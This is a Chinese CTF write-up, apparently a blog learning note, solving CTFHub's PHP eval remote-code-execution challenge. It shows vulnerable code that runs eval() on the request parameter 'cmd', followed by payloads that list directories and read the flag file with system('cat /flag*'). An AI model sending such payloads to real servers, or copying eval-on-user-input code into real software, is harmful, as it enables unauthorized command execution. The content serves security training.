CTFHub 技能树 Web RCE eval执行(学习记录)

eval执行

源代码

php 复制代码
<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

PHP代码显示,要求将命令赋值给cmd然后执行

先查看一下根目录文件 /?cmd=system("ls");

查看上一级目录找flag文件

/?cmd=system("ls /");

打开flag文件发现FLAG

/?cmd=system("cat /flag_9237");

linux在读取flag的时候可以使用*去匹配

cat /flag*

/?cmd=system("cat /flag*");

相关推荐
是隼人4 小时前
buuctf-pwn xdctf2015_pwn200题解(学习过程持续更新)
c语言·学习·安全·pwn入门·ctf入门
大衛說5 小时前
《Python 从入门到精通》系列总览与学习路线
开发语言·python·学习
吃好睡好便好6 小时前
查找函数的使用
学习·算法·matlab·生活·查找函数
学运维的Kysan6 小时前
暑假运维学习打卡第二十九天8.29
学习
zbyyd6 小时前
Linux 进程间通信学习笔记
linux·笔记·学习
一条破秋裤7 小时前
02_软件安装与新建工程
学习
来了就未晚7 小时前
Python基础 学习代码存储与命名规范
开发语言·python·学习
GHL2842710907 小时前
用codex做一个简单技能学习
学习·ai
西西弗Sisyphus8 小时前
模型训练 不同批次大小与学习率下的训练损失对比(2)
学习·batchsize·lr·learning rate
软件开发技术深度爱好者8 小时前
在线学习实践 TypeScript 的官方Playground(演练场)使用介绍
javascript·学习·typescript